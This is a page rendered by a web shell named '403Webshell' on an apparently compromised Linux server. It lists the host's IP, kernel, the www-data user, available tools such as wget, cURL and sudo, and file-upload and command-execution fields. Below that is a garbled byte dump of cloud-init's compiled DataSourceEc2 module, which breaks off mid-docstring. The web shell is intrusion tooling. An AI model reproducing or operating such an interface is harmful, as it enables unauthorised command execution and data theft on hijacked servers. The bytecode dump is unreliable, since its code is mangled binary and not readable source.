403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/sources/__pycache__/DataSourceEc2.cpython-314.pyc
+
��i	����^RIt^RIt^RIt^RIt^RIt^RIHt^RIHtH	t	H
t
^RIHtH
t
Ht^RIHt^RIHtHt^RIHt^RIHtHt^R	IHtHt^R
IHt^RIHt^RIH t H!t!^R
I"H#t#]PH!]%4t&R/t'Rt(!RR4t)Rt*])PV.t,Rt-RR.t.!RR]P^4t0!RR]04t1Rt2Rt3Rt4Rt5Rt6Rt7Rt8R t9R!t:R"t;R#t<R$R%lt=]!P|3R&R'llt?R(R)lt@RRR*]!P|3R+ltAR,tBR-tC]1]P�33]0]P�]P�33.tFR.tGR#)0�N)�suppress)�Dict�List�Literal)�dmi�net�sources)�
url_helper)�util�warnings)�Distro)�
EventScope�	EventType)�
device_driver�netplan)�NoDHCPLeaseError)�EphemeralIPNetwork)�HotplugRetrySettings�NicOrder)�ec2�warnc�6�]tRt^$tRtRtRtRtRtRt	Rt
RtR	tR
#)�
CloudNames�aws�	brightbox�zstack�e24cloud�outscale�tilaa�unknownzno-ec2-metadata�N)
�__name__�
__module__�__qualname__�__firstlineno__�AWS�	BRIGHTBOX�ZSTACK�E24CLOUD�OUTSCALE�TILAA�UNKNOWN�NO_EC2_METADATA�__static_attributes__r!��A/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceEc2.pyrr$s.��
�C��I�
�F��H��H��E��G�(�Or/rc�N�VPR8H;'dRVP9#)�zmeta-data/tags/)�code�url)�	exceptions&r0�skip_404_tag_errorsr64s#���>�>�S� �G�G�%6�)�-�-�%G�Gr/zS
ENV{ID_NET_DRIVER}=="vif|ena|ixgbevf", GOTO="cloudinit_hook"
GOTO="cloudinit_end"
�ena�efac�aa�]tRt^HtoRtRR.tRt.R)Ot^�t^2t	Rt
]Pt
Rt]P ]P$]P&]P(]P*0/t]P ]P$]P*0/t]t]!R^^4tV3RltV3R	lV3R
lltRtRtR
t ]!R4t"]!R4t#]!R4t$]!R4t%]!R4t&]!R4t']!R4t(Rt)Rt*Rt+Rt,Rt-]!R4t.]!R4t/Rt0]!R4t1Rt2R*Rlt3V3R lR!lt4V3R"lR#lt5V3R$lR%lt6R+R&lt7V3R'lt8R(t9Vt:V;t;#),�
DataSourceEc2�Ec2zhttp://169.254.169.254zhttp://[fd00:ec2::254]z
2009-04-04NFTc�v<�\\V`WV4RVnRVn\
PVnR#�N)�superr:�__init__�metadata_address�identityr�MAC�_fallback_nic_order)�self�sys_cfg�distro�paths�	__class__s&&&&�r0r?�DataSourceEc2.__init__{s/���
�m�T�+�G�U�C� $�����
�#+�<�<�� r/c�$<�V^8�dQhRS[RR/#)��ci_pkl_version�returnN)�int)�format�
__classdict__s"�r0�__annotate__�DataSourceEc2.__annotate__�s���H�H��H��Hr/c�<�\SV`V4\Vn\P
Vn\R^^4VnR#)TN)	r>�	_unpickle�_EXTRA_HOTPLUG_UDEV_RULES�extra_hotplug_udev_rulesrrBrCr�hotplug_retry_settings)rDrLrHs&&�r0rT�DataSourceEc2._unpickle�s5���
���.�)�(A��%�#+�<�<�� �&:�4��B�&G��#r/c��\4#)z5Return the cloud name as identified during _get_data.)�identify_platform�rDs&r0�_get_cloud_name�DataSourceEc2._get_cloud_name�s�� �"�"r/c�0�\\P!VP\\
4R4wr\PRVVPVP4VR8Xd"VP\P8XdR#VP\P8XdR#VP'EdY\P!4'd\PR4R#\P !4p\PRV4\#V4^8d\P%R4R#\'V\(R7F�p\+VP,VR	R	R
7;_uu_4pVP/4VnVP0'diW@P,n\PRV4\PRVP4'dR
VP42MR4RRR4M#RRR4K�	MVP/4VnVP0'g\P%R4R#VP0P9RR4VnVP0P9RR4VnVP0P9R/4P9R/4P9R/4VnR	# +'giEK�;i \6d\PRT4EK�i;i)rNz0strict_mode: %s, cloud_name=%s cloud_platform=%s�trueFz1FreeBSD doesn't support running dhclient with -sfz"Looking for the primary NIC in: %sz0The instance must have at least one eligible NIC��keyT)�ipv4�ipv6zSet fallback NIC: %s.zCrawled metadata service%s� �z$Unable to obtain a DHCP lease for %szUnable to get metadata�	meta-data�	user-data�dynamic�instance-identity�document)rN) �read_strict_moder�get_cfg_by_pathrE�STRICT_ID_PATH�STRICT_ID_DEFAULT�LOG�debug�
cloud_name�platformrr,r-�perform_dhcp_setup�
is_FreeBSDr�find_candidate_nics�len�error�sorted�_prefer_elastic_driversrrF�crawl_metadata�_crawled_metadata�fallback_interface�	state_msgr�get�metadata�userdata_rawrA)rD�strict_mode�_sleep�candidate_nics�
candidate_nic�netws&     r0�	_get_data�DataSourceEc2._get_data�ss��.�� � ����n�.?�
�
�	
���	�	�	�>���O�O��M�M�		
��&� �T�_�_�
�8J�8J�%J��
�_�_�
� :� :�
:���"�"�"���� � ��	�	�M�N�� �4�4�6�N��I�I�:�N�K��>�"�Q�&��	�	�L�M��!'��$;�"�
��+����%�!�!�	��
�15�1D�1D�1F��.��1�1�1�=J�K�K�:��I�I�&=�}�M��I�I� <�8<����!�D�N�N�#3� 4�B��"���2���	"�0&*�%8�%8�%:�D�"��%�%�%��I�I�.�/���.�.�2�2�;��E��
� �2�2�6�6�{�D�I����"�"�&�&�y�"�5�
�S�$�b�
)�
�S��R�
 �	
�
�
�?����(���I�I�>�
����s7�!K/�9BK�?K/�
K/�K,�%K/�,K/�/!L�Lc���VP'gR#VPPR/4PR/4pVPR/4P4Fwr#RV9gKR#	R#)z6Report if this instance type is Ec2 Classic (non-vpc).F�network�
interfaces�macszvpc-idT)rr~�items)rD�	ifaces_md�_mac�mac_datas&   r0�is_classic_instance�!DataSourceEc2.is_classic_instance�sd���}�}�}���M�M�%�%�i��4�8�8��r�J�	�'�m�m�F�B�7�=�=�?�N�D��8�#��@�r/c�`�VP'gR#VPPR4#)Nzami-launch-index)rr~r[s&r0�launch_index�DataSourceEc2.launch_index�s$���}�}�}���}�}� � �!3�4�4r/c��VP'g$\PP4VnVP#r=)�_platform_typer:�dsname�lowerr[s&r0rr�DataSourceEc2.platform�s1���"�"�"�"/�"6�"6�"<�"<�">�D���"�"�"r/c��R#)zlatest/api/tokenr!r[s&r0�api_token_route�DataSourceEc2.api_token_route�s��!r/c��R#)�21600r!r[s&r0�imdsv2_token_ttl_seconds�&DataSourceEc2.imdsv2_token_ttl_seconds�s��r/c��R#)zX-aws-ec2-metadata-tokenr!r[s&r0�imdsv2_token_put_header�%DataSourceEc2.imdsv2_token_put_header�s��)r/c�(�VPR,#)z-ttl-seconds)r�r[s&r0�imdsv2_token_req_header�%DataSourceEc2.imdsv2_token_req_header�s���+�+�n�<�<r/c�2�VPVP.#r=)r�r�r[s&r0�imdsv2_token_redact�!DataSourceEc2.imdsv2_token_redact�s���,�,�d�.J�.J�K�Kr/c��RpVP4pVPF�pVPVPV4p\P
!VVVPR7pVP^�8Xd\PRV4Vu#VPR8Xd%Rp\PWcVP4K�K�	VP# \Pd"p\PRYG4Rp?K�Rp?ii;i)aGet the best supported api version from the metadata service.

Loop through all extended support metadata versions in order and
return the most-fully featured metadata api version discovered.

If extended_metadata_versions aren't present, return the datasource's
min_metadata_version.
z{0}/{1}/meta-data/instance-id)r4�headers�headers_redactz#Found preferred metadata version %sr2z0Metadata api version %s not present. Headers: %szurl %s raised exception %sN)
�_get_headers�extended_metadata_versionsrOr@�uhelp�readurlr�r3rorpr��UrlError�min_metadata_version)rD�url_tmplr��api_verr4�resp�msg�es&       r0�get_metadata_api_version�&DataSourceEc2.get_metadata_api_version�s���3���#�#�%���6�6�G��/�/�$�"7�"7��A�C�
:��}�}��#�#'�#;�#;����9�9��#��I�I�C�W�M�"�N��Y�Y�#�%�L�C��I�I�c�D�L�L�9�&�7�"�(�(�(���>�>�
@��	�	�6��?�?��
@�s�#C�D�'D�Dc��VP\P8Xd�\VRR4'giVP	4p\
P!VVPVPVPVPR7PR/4VnVPPRVPR,4#VPR,#)rAN��
headers_cbr��exception_cbrj�
instanceIdzinstance-id)rqrr&�getattrr�r�get_instance_identityr@r�r��_refresh_stale_aws_token_cbr~rAr)rD�api_versions& r0�get_instance_id�DataSourceEc2.get_instance_ids����?�?�j�n�n�,��4��T�2�2�#�;�;�=�� #� 9� 9���)�)�#�0�0�#'�#;�#;�!%�!A�!A�!��#�j�"�%�
�
��=�=�$�$��d�m�m�M�:��
��=�=��/�/r/c�j�VP\9dR#.p/pVPpRpVF)pRPWd4pVP	V4WcV&K+	\
P
R4RpRpVP4p	\P!VV	PV	P\
PVPVPVVPRR7	wrhV'dV'dW�nW6,#\
P%RV4R# \P dLMi;i)z�Get an API token for EC2 Instance Metadata Service.

On EC2. IMDS will always answer an API token, unless
the instance owner has disabled the IMDS HTTP endpoint or
the network topology conflicts with the configured hop-limit.
N�PUT�{0}/{1}zFetching Ec2 IMDSv2 API TokenF)	�urls�max_wait�timeout�	status_cbr�r��request_methodr��connect_synchronouslyz$Unable to get response from urls: %s)rq� IDMSV2_SUPPORTED_CLOUD_PLATFORMSr�rO�appendrorp�get_url_paramsr��wait_for_url�max_wait_seconds�timeout_seconds�warningr��_token_exception_cbr�r��
_api_tokenrw)
rD�mdurlsr��url2base�url_pathr�r4�cur�response�
url_paramss
&&        r0�_maybe_fetch_api_token�$DataSourceEc2._maybe_fetch_api_token-s���?�?�"B�B�������'�'�����C��"�"�3�1�C��K�K����S�M��	�	�	�1�2������(�(�*�
�	�!�.�.��#�4�4�"�2�2��+�+��,�,�!�5�5�-�#�7�7�&+�
�M�C� �8�&�O��=� �	�	�	�8�$�?����~�~�	�
�	�s�A!D�D2�1D2c
�@�.p^pVPpVP4pVP^8:dR#VPRVP4pVUu.uF#p\
P!V4'gK!VNK%	pp\V4\V48wd9\PR\\V4\V4,
44\V4'dTpM!\PR4VPpVPV4pV'g�VP\9d�/p	RP!VP"R7p
RpVF)pRP!W�4p
VP%V
4W�V
&K+	\&P(!4p\*P,!VVPVP.\PVP0VP2VR	7wr�V'd	W�,pV'd(W�n\PR
VP44MeVP\9d\PR4M:\P7RV\9\&P(!4V,
44\;V4#uupi)
rF�
metadata_urlsz,Removed the following from metadata urls: %sz+Empty metadata url list! using default listz{ver}/meta-data/instance-id)�ver�GETr�)r�r�r�r�r�r�r�zUsing metadata source: '%s'z)IMDS's HTTP endpoint is probably disabledz(Giving up on md from %s after %s seconds)�ds_cfgr�r�r~r�r�is_resolvable_url�setrorp�listrvr�r�rqr�rOr�r��time�	monotonicr�r�r�r�r�r@�criticalrN�bool)rDr��
start_time�mcfgr�r��x�filteredr@r�r�r�r4r��_s&              r0�wait_for_metadata_service�'DataSourceEc2.wait_for_metadata_service`s�����
��{�{���(�(�*�
��&�&�!�+�����/�4�+=�+=�>��%�C�v�!��)?�)?��)B�A�A�v��C��x�=�C��K�'��I�I�>��c�&�k�C��M�1�3�
�
�x�=�=��F��K�K�E�F��'�'�F� �6�6�v�>��!����'G�G��H�4�;�;��-�-�<��H�#�N����&�&�s�5�����C� � #��
��
���)�J��'�'��#�4�4�"�2�2��+�+�#�7�7��,�,�-��F�C��#+�=� ��$4�!��I�I�3�T�5J�5J�K�
�_�_� @�
@��K�K�C�D��L�L�:���D�N�N�$�z�1�2�
��$�%�%��{Ds�J�7Jc��RVP9dR#RpVPR,p\V\4'g\P	RV4R#VP4F#wrEWA8XdTpMVR8XgKVR8XgK!TpK%	Vf\P	RV4R#TpVP
R4'g
RV,p\PPV4'dV#VP\PPV44pV'd\P	RW'4V#VR8XdR#V#)	zblock-device-mappingNz+block-device-mapping not a dictionary: '%s'�	ephemeral�
ephemeral0z Unable to convert %s to a device�/z/dev/%szRemapped device name %s => %s)r�
isinstance�dictrorpr��
startswith�os�path�exists�
_remap_device�basename)rD�name�found�bdm�entname�device�ofound�remappeds&&      r0�device_name_to_device�#DataSourceEc2.device_name_to_device�s��"����6�����m�m�2�3���#�t�$�$��I�I�C�S�I��"�y�y�{�O�G�������+�%�$�,�*>���
 +��=��I�I�8�$�?��������$�$���%�E�
�7�7�>�>�%� � ��L��%�%�b�g�g�&6�&6�u�&=�>����I�I�5�u�G��O��<����
r/c��VP\P8Xd5VPP	RVP
R,R,4#VP
R,R,# \dR#i;i)�availabilityZone�	placementzavailability-zoneN)rqrr&rAr~r�KeyErrorr[s&r0�availability_zone�DataSourceEc2.availability_zone�sl��		����*�.�.�0��}�}�(�(�&��M�M�+�.�/B�C���
�}�}�[�1�2E�F�F���	��	�s�AA/�A/�/A>�=A>c��VP\P8XdGVPP	R4pVP
'dV'gVP
RRpV#VP
pVeVRR#R#)�regionN���)rqrr&rAr~r)rDr�azs&  r0r�DataSourceEc2.region�si���?�?�j�n�n�,��]�]�&�&�x�0�F��%�%�%�f��/�/���4���M��'�'�B��~��#�2�w��r/c��V'gR#VP\P8Xd-\\P
!V\\4V4R#R#r=)rqrr,�warn_if_necessaryrrlrmrn)rD�cfg�is_new_instances&&&r0�activate�DataSourceEc2.activate�s=�����?�?�j�0�0�0���$�$�S�.�:K�L��
�1r/c
�|�VP\P8wd
VP#VPf\PR4R#RpVPPpVPPR4p\V\4'd�\VVPV\P!VPRR4VPR7pVP!4'd�\"P$!VP&4VnVP&\(P*,P-\.P04VP&\(P*,P-\.P24M\PRV4WnVP#)z@Return a network config dict for rendering ENI or netplan files.Nz8Unexpected call to network_config when metadata is None.r��apply_full_imds_network_configT)�fallback_nic�full_network_config�fallback_nic_orderz%Metadata 'network' key not valid: %s.)�_network_configr	�UNSETrror�rFr|r~r�r��#convert_ec2_metadata_network_configr�get_cfg_option_boolr�rCr��copy�deepcopy�default_update_eventsr�NETWORK�addr�BOOT�BOOT_LEGACY)rD�result�iface�net_mds&   r0�network_config�DataSourceEc2.network_configsT�����7�=�=�0��'�'�'��=�=� ��K�K�J�
�������.�.�����"�"�9�-���f�d�#�#�9�����"�$(�$<�$<��K�K�!A�4�%�$(�#;�#;��F��'�'�)�)�-1�]�]��.�.�.��*��*�*�:�+=�+=�>�B�B��N�N���*�*�:�+=�+=�>�B�B��)�)���
�K�K�?��H�%���#�#�#r/c	�J�VP4'g/#VP4pVPp/pVP\9dVP
pVPpRpM.VP\P8XdR;rE\pMR;p;rV\P!VVPVPVVR7p\P!V4VR&\P !VVPVPVVVR7VR&VP\P"8Xd7\P$!VVPVPVVR7pRV/VR&YR	&T# \&d,\P(!\*RTP4/u#i;i)
z�Crawl metadata service when available.

@returns: Dictionary of crawled metadata content containing the keys:
  meta-data, user-data and dynamic.
Nr�rg)r�r�r��retrieval_exception_ignore_cbrfrirhz'Failed reading from metadata address %s�_metadata_api_version)r�r�r�rqr�r��#_skip_or_refresh_stale_aws_token_cbrr*r6r�get_instance_userdatar@r�r�maybe_b64decode�get_instance_metadatar&r��	Exception�logexcro)	rDr��redact�crawled_metadata�exc_cb�	exc_cb_ud�skip_cb�raw_userdatarAs	&        r0rz�DataSourceEc2.crawl_metadata1s����-�-�/�/��I��3�3�5���)�)�����?�?�>�>��5�5�F��@�@�I��G�
�_�_�
� 3� 3�
3�!%�%�F�)�G�+/�/�F�/�Y� 	��4�4���%�%��,�,�%�&��L�-1�,@�,@��,N��[�)�,/�,E�,E���%�%��,�,�%�#�.5�
-��[�)����*�.�.�0��4�4���)�)�#�0�0�#)�!'���0C�H�.M� ��+�5@�0�1�����	��K�K��9��%�%�
�
�I�
	�s�CE,�,3F"�!F"c��VP\9dR#Vf
VPp\P	R4VP
V/pRP
VPVP4p\P!VVVPRR7pVP# \Pd"p\PRY54Rp?R#Rp?ii;i)z�Request new metadata API token.
@param seconds: The lifetime of the token in seconds

@return: The API token or None if unavailable.
Nz!Refreshing Ec2 metadata API tokenz{}/{}r�)r�r�r�z/Unable to get API token: %s raised exception %s)rqr�r�rorpr�rOr@r�r�r�r�r�r��contents)rD�seconds�request_header�	token_urlr�r�s&&    r0�_refresh_api_token� DataSourceEc2._refresh_api_tokenis����?�?�"B�B���?��3�3�G��	�	�5�6��6�6��@���N�N�4�#8�#8�$�:N�:N�O�	�	��}�}��&�#�7�7�$�	�H�� � � ���~�~�	��K�K�A�9�
���		�s�2$B"�"C�7C�Cc�:<�V^8�dQhRS[PRS[/#�rKr5rM�r�r�r�)rOrPs"�r0rQrR�s!���;�;����;�	
�;r/c��\P!\PV4pV'gR#VPV4#)zKCallback will not retry on SKIP_USERDATA_CODES or if no token
is available.F)r�skip_retry_on_codes�SKIP_USERDATA_CODESr�)rDr5�retrys&& r0r0�1DataSourceEc2._skip_or_refresh_stale_aws_token_cb�s3��
�'�'��(?�(?��K�����/�/�	�:�:r/c�H<�V^8�dQhRS[PRS[R,/#)rKr5rMT)r�r�r)rOrPs"�r0rQrR�s%���������	���r/c�`�VPR8Xd\PR4RVnR#)z=Exception handler for Ec2 to refresh token if token is stale.i�z+Clearing cached Ec2 API token due to expiryNT)r3rorpr��rDr5s&&r0r��)DataSourceEc2._refresh_stale_aws_token_cb�s'���>�>�S� ��I�I�C�D�"�D�O�r/c�:<�V^8�dQhRS[PRS[/#rErF)rOrPs"�r0rQrR�s�����U�^�^���r/c���VP'ddVPR8Xd\PR4R#VPR8XdR#VPR8�d\PR4R#R#)a�Fail quickly on proper AWS if IMDSv2 rejects API token request

Guidance from Amazon is that if IMDSv2 had disabled token requests
by returning a 403, or cloud-init malformed requests resulting in
other 40X errors, we want the datasource detection to fail quickly
without retries as those symptoms will likely not be resolved by
retries.

Exceptions such as requests.ConnectionError due to IMDS being
temporarily unroutable or unavailable will still retry due to the
callsite wait_for_url.
i�zLEc2 IMDS endpoint returned a 403 error. HTTP endpoint is disabled. Aborting.Fi�i�z2Fatal error while requesting Ec2 IMDSv2 API tokensT)r3ror�rNs&&r0r��!DataSourceEc2._token_exception_cb�sa���>�>�>��~�~��$����;������3�&�����3�&����H���r/c�,�VP\9d/#VPVP/pVPV9dV#VP
'g*VP
4VnVP
'g/#VPVP
/#)z�Return a dict of headers for accessing a url.

If _api_token is unset on AWS, attempt to refresh the token via a PUT
and then return the updated token header.
)rqr�r�r�r�r�rBr�)rDr4�request_token_headers&& r0r��DataSourceEc2._get_headers�s����?�?�"B�B��I�
�(�(�$�*G�*G� 
�����3�&�'�'�����#�5�5�7�D�O��?�?�?��	��,�,�d�o�o�>�>r/c�6<�V^8�dQh/S[S[,;R&#)rKr�)r�str)rOrPs"�r0rQrRHs���� !%�S�	��!r/)r�r{rCrr�r#rVrWrArr@r�)z
2021-03-23z
2018-09-24z
2016-09-02r=)re)<r"r#r$r%r�r�r�r��url_max_wait�url_timeoutr�r	rrrsrr$r�BOOT_NEW_INSTANCEr&r'�HOTPLUG�supported_update_eventsr#rUrVrrWr?rTr\r�r��propertyr�rrr�r�r�r�r�r�r�r�r�rrrrr+rzrBr0r�r�r��__annotate_func__r.�__classdictcell__�
__classcell__�rHrPs@@r0r:r:Hs
����
�F�
	!� ��M�(��
-���L��K��J��m�m�O���	����'�'��N�N��!�!����	
���	����'�'����
��� 9��1�$��2�>��0�H�H�#�?�B��5��5�
�#��#��"��"������*��*��=��=��L��L�)�>0�(1�fH&�T1�f�
��
�������-$��-$�^6 �p!�:;�;�����>?�c�r/r:c�:aa�]tRtRtoRtRtV3RltRtVtV;t	#)�DataSourceEc2Locali�aeDatasource run at init-local which sets up network to query metadata.

In init-local, no network is available. This subclass sets up minimal
networking with dhclient on a viable nic so that it can talk to the
metadata service. If the metadata service provides network configuration
then render the network configuration for that instance based on metadata.
Tc��<�\P\P3pVPV9d$\PRVVP4R#\\V`#4#)z+Local Ec2 mode only supported on %s, not %sF)	rr&r*rqrorpr>rc�get_data)rD�supported_platformsrHs& �r0re�DataSourceEc2Local.get_data�sT���)�~�~�z�/B�/B�C���?�?�"5�5��I�I�=�#����
�
��'��7�9�9r/r!)
r"r#r$r%�__doc__rsrer.r_r`ras@@r0rcrc�s�������	:�	:r/rcc�x�\V4# \d"p\PT4TuRp?#Rp?ii;ir=)�parse_strict_mode�
ValueErrorror�)�cfgval�defaultr�s&& r0rkrk�s2��� ��(�(�������A������s�

�9�4�9�9c��VRJdR	#VRJdR
#V'gR#VPR4wrpVR9d\RV:RV:R24hV'd\V4pW3#RpW3# \dp\RT:RT:R24ThRp?ii;i)
TNF�,zInvalid mode 'z' in strict_id setting 'z+': Expected one of 'true', 'false', 'warn'.zInvalid sleep 'z': not an integer)r_N)�falseN)rr)r_rpr)�	partitionrkrN)rl�moder��sleepr�s&    r0rjrj�s�����~���
���������%�%�c�*�N�D�U��,�,��:>��
H�
�	
�

�	���J�E��;�����;����	���&�"���
��	�s�A&�&B�1B�Bc���\V4wr#TR8XdR#\P
!RTRTR7R# \d!p\PT4Rp?R#Rp?ii;i)Nrp�
non_ec2_mdT)rrrs)rjrkror�r�show_warning)rlrrrrsr�s&&   r0rrsS���'��/���
�w������,��$�e�D�������A�����s�
4�A�A�Ac��VR,pVPR4'd\P#\\4;_uu_4\
P!V4PP4PR4'd\PuuRRR4#RRR4R# +'giR#;i)�uuidrN)	r�rr&rrkrx�UUID�bytes_le�hex)�data�uuid_strs& r0�identify_awsr~s����F�|�H����5�!�!��~�~��	�*�	�	��9�9�X��'�'�+�+�-�8�8��?�?��>�>�
�	�?�
��

�	��s
�AB1�1C	c�b�VR,PR4'd\P#R#)�serialz.brightbox.comN)�endswithrr'�r|s&r0�identify_brightboxr�.s)���H�~���/�0�0��#�#�#�1r/c�b�VR,PR4'd\P#R#)�	asset_tagz
.zstack.ioN)r�rr(r�s&r0�identify_zstackr�3s)���K��!�!�,�/�/�� � � �0r/c�B�VR,R8Xd\P#R#)�vendor�TilaaN)rr+r�s&r0�identify_tilaar�8s���H�~�� �����!r/c�B�VR,R8Xd\P#R#)r�rN)rr)r�s&r0�identify_e24cloudr�=s���H�~��#��"�"�"�$r/c��VR,RP48Xd/VR,RP48Xd\P#R#R#)�product_namez3DS Outscale VMr�z3DS OutscaleN)r�rr*r�s&r0�identify_outscaler�BsD���^�� 1� 7� 7� 9�9���N�n�2�2�4�4��"�"�"�
5�	:r/c��\4p\\\\\
\R3pVFpV!V4pV'dVu#K	R# \d#p\PRY T4Rp?KFRp?ii;i)c�"�\P#r=)rr,)r�s&r0�<lambda>�#identify_platform.<locals>.<lambda>Ts
��*�$�$r/z'calling %s with %s raised exception: %sN)
�_collect_platform_datar~r�r�r�r�r�r4ror�)r|�checks�checkerr(r�s     r0rZrZJsw��!�#�D�������$��F���	��T�]�F���
����
�	��K�K�9�7�!�
�
��	�s�A
�
A:�A5�5A:c��Rp\\\4;_uu_4\P!R4P4pRRR4T;'g!\P!R4;'gRp\P!R4;'gRp\P!R4;'gRp\P!R4;'gRp\P!R4;'gRpR	VP!4R
VP4RVP4RVP4R
VP4/# +'giEL;i)a"Returns a dictionary of platform info from dmi or /sys/hypervisor.

Keys in the dictionary are as follows:
   uuid: system-uuid from dmi or /sys/hypervisor
   serial: dmi 'system-serial-number' (/sys/.../product_serial)
   asset_tag: 'dmidecode -s chassis-asset-tag'
   vendor: dmi 'system-manufacturer' (/sys/.../sys_vendor)
   product_name: dmi 'system-product-name' (/sys/.../system-manufacturer)

On Ec2 instances experimentation is that product_serial is upper case,
and product_uuid is lower case.  This returns lower case values for both.
Nz/sys/hypervisor/uuidzsystem-uuidrezsystem-serial-numberzchassis-asset-tagzsystem-manufacturerzsystem-product-namerxr�r�r�r�)	r�OSError�UnicodeDecodeErrorr�load_text_file�stripr�
read_dmi_datar�)rxr�r�r�r�s     r0r�r�as���D�	�'�-�	.�	.��"�"�#9�:�@�@�B��
/��9�9�3�$�$�]�3�9�9�r�D�
�
�
�5�
6�
<�
<�"�F��!�!�"5�6�<�<�"�I�
�
�
�4�
5�
;�
;��F��$�$�%:�;�A�A�r�L�	��
�
���&�,�,�.��Y�_�_�&��&�,�,�.���*�*�,���
/�	.�	.�s�%E	�	E	c�0�V^8�dQhR\R\/#)rK�nicrM)rWrN)rOs"r0rQrQ�s��

�

��

��

r/c�2�\V4\9d^#^#)a#Sorts the NICs so that Amazon drivers are first.

This helps speed up finding the metadata server since it will generally
be reachable via the first ENA/EFA NIC if one is present. Each incorrect
NIC that we are able to skip shortens boot by approximately
DataSourceEc2.url_max_wait seconds.
)r�ELASTIC_DRIVERS)r�s&r0ryry�s���S��_�,��r/c
��V^8�dQhR\\\3,R\\\3,R\R\\\3,/#)rK�
macs_metadata�macs_to_nicsrrM)rrWrrN)rOs"r0rQrQ�sN��@�@���T�	�?�@��s�C�x�.�@�!�@�
�#�s�(�^�	@r/c	�
aaaa	�/pS'd	S'gV#\R\VV3RlSP444pRo	\\	VV	V3RlR74UUUUu/uFwpwrgpWebK
	upppp#uuppppi)a%
Builds a dictionary containing macs as keys and nic orders as values,
taking into account `network-card` and `device-number` if present.

Note that the first NIC will be the primary NIC as it will be the one with
[network-card] == 0 and device-number == 0 if present.

@param macs_metadata: dictionary with mac address as key and contents like:
{"device-number": "0", "interface-id": "...", "local-ipv4s": ...}
@macs_to_nics: dictionary with mac address as key and nic name as value

@return: Dictionary with macs as keys and nic orders as values.
c��V^,RJ#)�Nr!)�mmds&r0r��"_build_nic_order.<locals>.<lambda>�s
��C��F�$�&r/c�:<�VSPV4SV,3#r=)r~)�macr�r�s&��r0r�r��s����m�/�/��4�l�3�6G�Hr/c�H�VPVR4pVe\V4#V#r=)r~rN)�diktra�	alt_value�values&&& r0�_get_key_as_int_or�,_build_nic_order.<locals>._get_key_as_int_or�s(������d�#�����u�:���r/c�<�S!V^,R\R44S!V^,R\R44S\P8XdV^,3#V^,3#)r�znetwork-card�infinity�
device-number)�floatr�NIC_NAME)r�r�rs&��r0r�r��sa���&��A����j�0A��'��A����z�1B��
.��1B�1B�B��A��!�!��V�!r/r`)�filter�map�keys�	enumeraterx)
r�r�r�	nic_order�valid_macs_metadata�ir��
_mac_metadata�	_nic_namer�s
fff      @r0�_build_nic_orderr��s����$!#�I��-��� �&��H�����	
�	���3<��#��
�3
��3
�.�A�.��I�	��3
����s�&A=
c�d�V^8�dQhR\R\R\R\R\R\RR/#)	rK�
dev_config�nic_name�nic_metadatarF�is_ipv4�tablerMN)r�rWr
r�rN)rOs"r0rQrQ�sY��R
�R
��R
��R
��	R
�

�R
��
R
��R
�
�R
r/c�j�V'd$VPR4pVPR4pM"VPR4pVPR4pV'd	V'g#\PRV'dRMR4R#VPR	4'g.VR	&V'dEVPP	WR
7pVR,p	VR	,PRR
RV	RV/4\V\4'dV.MTpVFpVR	,PRVRV/4K!	VPR4'g.VR&\V\4'dV.MTpVFpVR,PRVRV/4K!	R# \d"p
\PRTT
4Rp
?
L�Rp
?
ii;i)a�
Configure policy-based routing on secondary NICs / secondary IPs to
ensure outgoing packets are routed via the correct interface.

@param: dev_config: network cfg v2 to be updated inplace.
@param: nic_name: nic name. Only used if ipv4.
@param: nic_metadata: nic metadata from IMDS.
@param: distro: Instance of Distro. Only used if ipv4.
@param: is_ipv4: Boolean indicating if we are acting over ipv4 or not.
@param: table: Routing table id.
�subnet-ipv4-cidr-block�local-ipv4szsubnet-ipv6-cidr-blocks�ipv6szANot enough IMDS information to configure policy routing for IPv%s�4�6N�routes)rF�routers�toz	0.0.0.0/0�viar�zoCould not perform dhcp discovery on %s to find its gateway. Not adding default route via the gateway. Error: %s�routing-policy�from)
r~rorp�dhcp_client�dhcp_discoveryr�rr�r�rW)
r�r�r�rFr�r��subnet_prefix_routes�ips�lease�gatewayr��prefix_route�ips
&$$$$$       r0�_configure_policy_routingr��s���(�+�/�/�0H�I�����}�-��+�/�/�0I�J�����w�'�� �S��	�	�
��C��	
�
	��>�>�(�#�#�!�
�8���	��&�&�5�5�h�5�N�E��I�&�G�
�x� �'�'��+��7��U��
��*�C�0�0�
��
!��
-���8��#�#��l���
�	
�-��>�>�*�+�+�')�
�#�$��c�3�'�'�3�%�S�C����#�$�+�+�����
�	
���I �	��K�K����
�
��	�s�%%F�F2�F-�-F2Tc���R^R//pV'g\P!4pVR,R,pV'gvVP4F
wr�W�8XgK
M	RRRRR	R
XP4/RX	/p
VP	V4pVP	R4'dRV
R&W�R,V	&V#\VP\P4p\WrV4p
\VP44pVEF:pW(,p	VP	V4pV'gK'W�,pV^8HpR
V^,^d,/pRRRVRRR	R
VP4/RV	/p
^dV,pV'd6VP	R4'dV'gRVR&\V
VV	VRVR7VP	R4'dCRV
R&VV
R&V'd1VP	R4'dV'g\V
VV	VRVR7\W�4V
R&V
R,'gV
PR4W�R,V	&EK=	\VR,4^8Xd�VR,P4F�p	VR,V	,PR4VR,V	,PRR4VR,V	,PRR4VR,V	,PRR4K�	V#)a�Convert ec2 metadata to network config version 2 data dict.

@param: network_md: 'network' portion of EC2 metadata.
   generally formed as {"interfaces": {"macs": {}} where
   'macs' is a dictionary with mac address as key and contents like:
   {"device-number": "0", "interface-id": "...", "local-ipv4s": ...}
@param: distro: instance of Distro.
@param: macs_to_nics: Optional dict of mac addresses and nic names. If
   not provided, get_interfaces_by_mac is called to get it from the OS.
@param: fallback_nic: Optionally provide the primary nic interface name.
   This nic will be guaranteed to minimally have a dhcp4 configuration.
@param: full_network_config: Boolean set True to configure all networking
   presented by IMDS. This includes rendering secondary IPv4 and IPv6
   addresses on all NICs and rendering network config on secondary NICs.
   If False, only the primary nic will be configured and only with dhcp
